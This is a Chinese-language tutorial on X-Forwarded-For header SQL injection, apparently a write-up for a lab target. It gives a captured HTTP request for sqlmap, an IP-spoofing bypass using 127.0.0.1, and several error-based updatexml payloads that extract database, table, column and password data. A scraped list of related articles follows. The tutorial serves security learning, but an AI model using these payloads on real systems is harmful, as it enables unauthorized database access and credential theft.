0x00:XFF是什么?
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])。
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
0x01:XFF注入
XFF注入属于HTTP头注入的一部分。其他HTTP头注入点还有UA(User-Agent)、Referer、Cookie、Host。
XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
那么为什么会产生XFF注入呢?因为一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
0x02:练习一
在墨者学院靶场可以练手
登陆抓包:
POST /index.php HTTP/1.1
Host: 219.153.49.228:46109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:xml zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
X-Forwarded-for: *
Upgrade-Insecure-Requests: 1
 
username=admin&password=admin
0x03 sqlmap
sqlmap
手动添加X-Forwarded-for: *
使用sqlmap即可跑出。
注意点:在XFF后面添加*能让sqlmap重点扫描,另外XFF和下面Body中的user=admin之间必须隔开一行(因为XFF属于head头,POST参数属于Body体),否则会报错。
 
发现随意输入用户名密码后被禁止IP,正确用户名:admin,密码:test123怎么才能绕过IP检测?

如图手动添加一个X-Forwarded-For:127.0.0.1。让目标认为是自身IP从而得到flag。

0x04手工注入

手动报错注入,填写格式如:X-Forwarded-For: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
当前使用数据库名
1' and updatexml(1,concat(0x7e,database(),0x7e),1), '

表名

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)), '
字段/列名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='logins' limit 0,1),0x7e),1)), '
具体内容
1' and updatexml(1,concat(0x7e,(select password from logins),0x7e),1)), '

HTTP头注入:XFF注入的更多相关文章

  1. SQL注入之注入点的寻找

    注入点的判断 判断一个链接是否存在注入漏洞,可以通过对其传入的参数(但不仅仅只限于参数,还有cookie注入,HTTP头注入等) 进行构造,然后对服务器返回的内容进行判断来查看是否存在注入点. 注入点 ...

  2. 常见注入手法第四讲,SetWindowsHookEx全局钩子注入.以及注入QQ32位实战.

    常见注入手法第四讲,SetWindowsHookEx全局钩子注入.以及注入QQ32位实战. PS:上面是操作.最后是原理 一丶需要了解的API 使用全局钩子注入.我们需要了解几个WindowsAPI. ...

  3. ASP.NET Core依赖注入——依赖注入最佳实践

    在这篇文章中,我们将深入研究.NET Core和ASP.NET Core MVC中的依赖注入,将介绍几乎所有可能的选项,依赖注入是ASP.Net Core的核心,我将分享在ASP.Net Core应用 ...

  4. spring注入 属性注入 构造器注入 set方法注入

    spring注入 属性注入 构造器注入 set方法注入(外部bean注入)

  5. Spring属性注入、构造方法注入、工厂注入以及注入参数(转)

    Spring 是一个开源框架. Spring 为简化企业级应用开发而生(对比EJB2.0来说). 使用 Spring 可以使简单的 JavaBean 实现以前只有 EJB 才能实现的功能.Spring ...

  6. ASP.NET Core 依赖注入(构造函数注入,属性注入等)

    原文:ASP.NET Core 依赖注入(构造函数注入,属性注入等) 如果你不熟悉ASP.NET Core依赖注入,先阅读文章: 在ASP.NET Core中使用依赖注入   构造函数注入 构造函数注 ...

  7. ASPNETCOREAPI 跨域处理 SQL 语句拼接 多条件分页查询 ASPNET CORE 核心 通过依赖注入(注入服务)

    ASPNETCOREAPI 跨域处理 AspNetCoreApi 跨域处理 如果咱们有处理过MV5 跨域问题这个问题也不大. (1)为什么会出现跨域问题:  浏览器安全限制了前端脚本跨站点的访问资源, ...

  8. Sql注入之注入点类型和是否存在注入判断

    SQL注入之判断注入类型注入类型分为数字型和字符型和搜索型例如数字型语句:select * from table where id =3,则字符型如下:select * from table wher ...

  9. ctfhub sql注入 整数型注入

    整数型注入 手工注入 1.查看是否存在sql注入,及sql注入类型 2.确定列数 3.确定注入点,以及数据库版本,数据库名称 4.查表名 5.查字段名以及flag值 获得flag值 sqlmap做法 ...

  10. DLL注入-APC注入

    APC注入 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到Sl ...

随机推荐

  1. Java基础学习笔记-类与对象

    对象 名称唯一 属性.数据区(值) 方法.功能 类 在软件中,类是一个模板,定义了一类事物的状态和行为 类是一种抽象的复合数据类型 类与对象的关系,这个跟JS也差不多 类和对象之间是抽象和具体的关系. ...

  2. Blazor入门100天 : 身份验证和授权 (6) - 使用 FreeSql orm 管理ids数据

    目录 建立默认带身份验证 Blazor 程序 角色/组件/特性/过程逻辑 DB 改 Sqlite 将自定义字段添加到用户表 脚手架拉取IDS文件,本地化资源 freesql 生成实体类,freesql ...

  3. 线程基础知识-CountDownLatch

    转:https://blog.csdn.net/hbtj_1216/article/details/109655995 1 概念1.1 简介 CountDownLatch是一个同步工具类,它允许一个或 ...

  4. 数据存储单位、编程语言的发展史、python解释器版本、解释器的下载与安装、多版本共存、第一个python程序、pycharm下载

    目录 一.数据存储单位 (1).简介 (2).换算单位 二.编程语言的发展史 (1).机器语言 (2).汇编语言 (3).高级语言 三.编程语言的分类 (1).编译型语言 (2).解释型语言 四.py ...

  5. 自抗扰(ADRC)控制原理及控制器设计

    https://blog.csdn.net/weixin_43487974/article/details/127163824?spm=1001.2101.3001.6650.2&utm_me ...

  6. Networking && Internet 计网学习笔记一

    Networking && Internet 计网学习笔记一 参考书籍: James F. Kurose, Keith W. Ross. 计算机网络-自顶向下方法 (7th). 机械工 ...

  7. 删除resource中的图片后编译报错

    同僚的一篇文章是:https://www.cnblogs.com/jljxxf/archive/2012/08/19/2646937.html, 详细介绍了C#的Resources,其中关于删除资源这 ...

  8. ideal的基础使用2022版本,黑马程序员的基础使用

    1. 2.配xml <dependencies>    <dependency>        <groupId>javax.servlet</groupId ...

  9. Mybatis 区别-开发

    三.MyBatis 主流的ORM 支持java .NET Ruby三种语言,MyBatis是对JDBC的封装 ORM框架Hibernate 区别: 1)sql 优化方面 Hibernate 使用 HQ ...

  10. Postman操作指南

    基本使用 基本使用在这里不做记录,大多数人下载完就会用.这里记一下重点. 抓包浏览器 浏览器安装插件postman interceptor:插件在postman-interceptor界面最下面提示的 ...